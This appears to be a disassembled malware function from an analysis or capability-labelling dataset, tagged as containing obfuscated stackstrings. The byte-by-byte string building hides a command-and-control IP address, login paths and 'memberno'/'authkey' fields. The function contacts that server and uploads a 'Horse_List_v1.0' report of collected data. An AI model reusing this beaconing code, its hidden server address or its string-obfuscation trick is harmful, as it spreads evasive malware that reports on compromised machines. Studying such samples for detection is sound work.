Function at 0x10027f13
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x494
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x100441e1
call fcn.1000405d
add esp, 0x20
push 0xffffffffffffffff
push dword [0x1005ea80]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10028356
call fcn.1000123e
mov dword [ebp - 0x7c], eax
mov byte [ebp - 0x74], 0x31
mov byte [ebp - 0x73], 0x33
mov byte [ebp - 0x72], 0x36
mov byte [ebp - 0x71], 0x2e
mov byte [ebp - 0x70], 0x32
mov byte [ebp - 0x6f], 0x34
mov byte [ebp - 0x6e], 0x33
mov byte [ebp - 0x6d], 0x2e
mov byte [ebp - 0x6c], 0x38
mov byte [ebp - 0x6b], 0x31
mov byte [ebp - 0x6a], 0x2e
mov byte [ebp - 0x69], 0x32
mov byte [ebp - 0x68], 0x33
mov byte [ebp - 0x67], 0x38
mov byte [ebp - 0x66], 0x2f
mov byte [ebp - 0x65], 0x6c
mov byte [ebp - 0x64], 0x6f
mov byte [ebp - 0x63], 0x67
mov byte [ebp - 0x62], 0x69
mov byte [ebp - 0x61], 0x6e
mov byte [ebp - 0x60], 0x2f
mov byte [ebp - 0x5f], 0x61
mov byte [ebp - 0x5e], 0x6c
mov byte [ebp - 0x5d], 0x69
mov byte [ebp - 0x5c], 0x63
mov byte [ebp - 0x5b], 0x69
mov byte [ebp - 0x5a], 0x61
mov byte [ebp - 0x59], 0x2f
mov byte [ebp - 0x58], 0x72
mov byte [ebp - 0x57], 0x65
mov byte [ebp - 0x56], 0x6c
mov byte [ebp - 0x55], 0x65
mov byte [ebp - 0x54], 0x61
mov byte [ebp - 0x53], 0x73
mov byte [ebp - 0x52], 0x65
mov byte [ebp - 0x51], 0x64
mov byte [ebp - 0x50], 0x5f
mov byte [ebp - 0x4f], 0x68
mov byte [ebp - 0x4e], 0x6f
mov byte [ebp - 0x4d], 0x72
mov byte [ebp - 0x4c], 0x73
mov byte [ebp - 0x4b], 0x65
mov byte [ebp - 0x4a], 0x73
mov byte [ebp - 0x49], 0x32
mov byte [ebp - 0x48], 0x2e
mov byte [ebp - 0x47], 0x70
mov byte [ebp - 0x46], 0x68
mov byte [ebp - 0x45], 0x70
mov byte [ebp - 0x44], bl
mov byte [ebp - 0x40], 0x68
mov byte [ebp - 0x3f], 0x74
mov byte [ebp - 0x3e], 0x74
mov byte [ebp - 0x3d], 0x70
mov byte [ebp - 0x3c], 0x73
mov byte [ebp - 0x3b], 0x3a
mov byte [ebp - 0x3a], 0x2f
mov byte [ebp - 0x39], 0x2f
mov byte [ebp - 0x38], 0x31
mov byte [ebp - 0x37], 0x33
mov byte [ebp - 0x36], 0x36
mov byte [ebp - 0x35], 0x2e
mov byte [ebp - 0x34], 0x32
mov byte [ebp - 0x33], 0x34
mov byte [ebp - 0x32], 0x33
mov byte [ebp - 0x31], 0x2e
mov byte [ebp - 0x30], 0x38
mov byte [ebp - 0x2f], 0x31
mov byte [ebp - 0x2e], 0x2e
mov byte [ebp - 0x2d], 0x32
mov byte [ebp - 0x2c], 0x33
mov byte [ebp - 0x2b], 0x38
mov byte [ebp - 0x2a], 0x2f
mov byte [ebp - 0x29], 0x6c
mov byte [ebp - 0x28], 0x6f
mov byte [ebp - 0x27], 0x67
mov byte [ebp - 0x26], 0x69
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], bl
mov byte [ebp - 0x20], 0x6d
push ebx
push dword [0x1005e0f4]
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x6d
mov byte [ebp - 0x1d], 0x62
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x6e
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], bl
mov byte [ebp - 0xc], 0x61
mov byte [ebp - 0xb], 0x75
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x68
mov byte [ebp - 8], 0x6b
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x79
mov byte [ebp - 5], bl
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5f
mov byte [ebp - 0xf], 0x72
mov byte [ebp - 0xe], 0x64
mov byte [ebp - 0xd], bl
call fcn.100042f4
push ebx
push dword [0x1005e988]
mov dword [ebp - 0x84], eax
call fcn.100042f4
push ebx
mov dword [ebp - 0x80], eax
mov eax, dword [0x1005ea2c]
push dword [eax]
mov esi, 0x10044528
push esi
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x84]
mov edi, 0x100445dc
push edi
push dword [eax]
lea eax, [ebp - 0x20]
push esi
push eax
call fcn.1000405d
mov ecx, dword [ebp - 0x80]
push ebx
push ebx
push ebx
push ebx
push dword [ecx]
lea ecx, [ebp - 0x14]
push esi
push ecx
mov dword [ebp - 0x88], eax
push eax
mov eax, edi
call fcn.10004296
mov eax, dword [ebp - 0x88]
add esp, 0x50
push ebx
push ebx
push dword [eax]
lea eax, [ebp - 0x40]
push str._r_nContent_Type:__r_nContent_Length:__r_n_r_n
push str.close
push str._r_nConnection:
push eax
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x7c]
xor eax, eax
call fcn.10003959
mov edi, eax
add esp, 0x24
cmp edi, ebx
je 0x100282e8
mov ecx, dword [edi + 4]
cmp ecx, 0x10
jl 0x100282e8
mov eax, dword [edi]
cmp dword [eax], 0x10001
jne 0x100282e8
mov edx, dword [eax + 4]
shl edx, 6
add edx, 0x10
cmp edx, ecx
jne 0x100282e8
mov eax, dword [eax + 8]
mov dword [ebp - 0x8c], eax
mov eax, dword [0x1005e87c]
jmp 0x100281d0
mov byte [eax + 0x18], bl
mov eax, dword [eax + 8]
cmp eax, ebx
jne 0x100281ca
mov eax, dword [edi]
mov edx, dword [edi + 4]
lea esi, [eax + 0x10]
lea ecx, [esi + 0x40]
add edx, eax
cmp ecx, edx
ja 0x10028200
mov dword [ebp - 0x78], ecx
push esi
call fcn.1002790d
mov eax, dword [edi]
add eax, dword [edi + 4]
add dword [ebp - 0x78], 0x40
add esi, 0x40
cmp dword [ebp - 0x78], eax
pop ecx
jbe 0x100281e8
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 4]
mov eax, str.Horse_List_v1.0
call fcn.10004296
mov esi, dword [0x1005e87c]
jmp 0x100282d6
mov eax, dword [esi + 0xc]
cmp dword [eax + 4], ebx
jne 0x10028231
cmp byte [esi + 0x2a], bl
je 0x10028231
mov eax, dword [0x1005ea9c]
mov eax, dword [eax]
push eax
mov eax, dword [esi + 0x14]
push dword [eax]
mov eax, dword [esi + 0x10]
push dword [eax]
movzx eax, byte [esi + 0x29]
push eax
movzx eax, byte [esi + 0x28]
push eax
movzx eax, byte [esi + 0x1b]
push eax
movzx eax, byte [esi + 0x1a]
push eax
movzx eax, byte [esi + 0x19]
push eax
movzx eax, byte [esi + 0x27]
push eax
movzx eax, byte [esi + 0x23]
push eax
movzx eax, byte [esi + 0x25]
push eax
movzx eax, byte [esi + 0x24]
push eax
movzx eax, byte [esi + 0x26]
push eax
movzx eax, byte [esi + 0x22]
push eax
movzx eax, byte [esi + 0x21]
push eax
movzx eax, byte [esi + 0x20]
push eax
movzx eax, byte [esi + 0x1f]
mov ecx, dword [ebp - 0x8c]
push eax
movzx eax, byte [esi + 0x1e]
push eax
movzx eax, byte [esi + 0x1d]
push eax
movzx eax, byte [esi + 0x1c]
push eax
xor eax, eax
cmp dword [esi], ecx
sete al
push eax
movzx eax, byte [esi + 0x18]
push eax
push dword [esi + 4]
lea eax, [ebp - 0x490]
push str._n_d_n_d_n_d_n_d_n_d_n_d_n_d_n_d_n_d_n_d_n_d_n_d_n_d_n_d_n_d_n_d_n_d._02d_n_d_n_d_n_s_n_s_n_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x64
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 4]
lea eax, [ebp - 0x490]
call fcn.10004296
mov esi, dword [esi + 8]
add esp, 0x20
cmp esi, ebx
jne 0x1002821f
mov esi, edi
call fcn.10004019
mov esi, dword [ebp - 0x84]
call fcn.10004019
mov esi, dword [ebp - 0x80]
call fcn.10004019
mov esi, dword [ebp - 0x88]
call fcn.10004019
push 0x31
pop ecx
lea eax, [ebp - 0x74]
mov byte [eax], bl
inc eax
dec ecx
jne 0x1002830c
push 0x1d
pop ecx
lea eax, [ebp - 0x40]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10028318
push 9
pop ecx
lea eax, [ebp - 0x20]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10028324
push 8
pop ecx
lea eax, [ebp - 0xc]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10028330
push 8
pop ecx
lea eax, [ebp - 0x14]
mov byte [eax], bl
inc eax
dec ecx
jne 0x1002833c
mov ebx, dword [ebp - 0x7c]
call fcn.1000180b
push dword [0x1005ea80]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret